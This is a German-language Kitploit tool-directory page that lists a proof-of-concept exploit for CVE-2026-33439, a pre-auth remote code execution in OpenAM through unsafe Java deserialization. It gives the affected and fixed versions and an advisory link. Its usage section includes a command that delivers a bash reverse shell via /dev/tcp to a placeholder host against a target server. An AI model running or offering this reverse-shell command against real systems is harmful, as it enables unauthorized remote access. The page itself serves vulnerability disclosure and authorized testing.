Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-33439-Poc — PoC für CVE-2026-33439, eine Pre-Auth-RCE in OpenAM über unsichere Java-Deserialisierung. | Kitploit
Tools/GitHubGitHub/rh33t/cve-2026-33439-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRemote-Access-Tool
GitHubrh33t/cve-2026-33439-poc

CVE-2026-33439-Poc

PoC für CVE-2026-33439, eine Pre-Auth-RCE in OpenAM über unsichere Java-Deserialisierung.

Repository anzeigen
vor 15h 17mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-33439

Pre-Auth-RCE in OpenIdentityPlatform OpenAM durch unsichere Java-Deserialisierung des jato.clientSession-Parameters. Betroffen <= 16.0.5, behoben in 16.0.6.

Advisory: https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-2cqq-rpvq-g5qj

Verwendung

root@kitploit:~
time ./cve-2026-33439.py --url https://TARGET/openam --command 'sleep 3' # takes about 3 seconds
./cve-2026-33439.py --url https://TARGET/openam --command 'bash -i >& /dev/tcp/HOST/PORT 0>&1'

Die Ausgabe ist blind. Die Anfrage blockiert, bis der Befehl beendet ist, sodass das Timing die Ausführung bestätigt (--command 'sleep 5' dauert etwa 5s).

Nur für autorisierte Sicherheitstests.

Tool herunterladen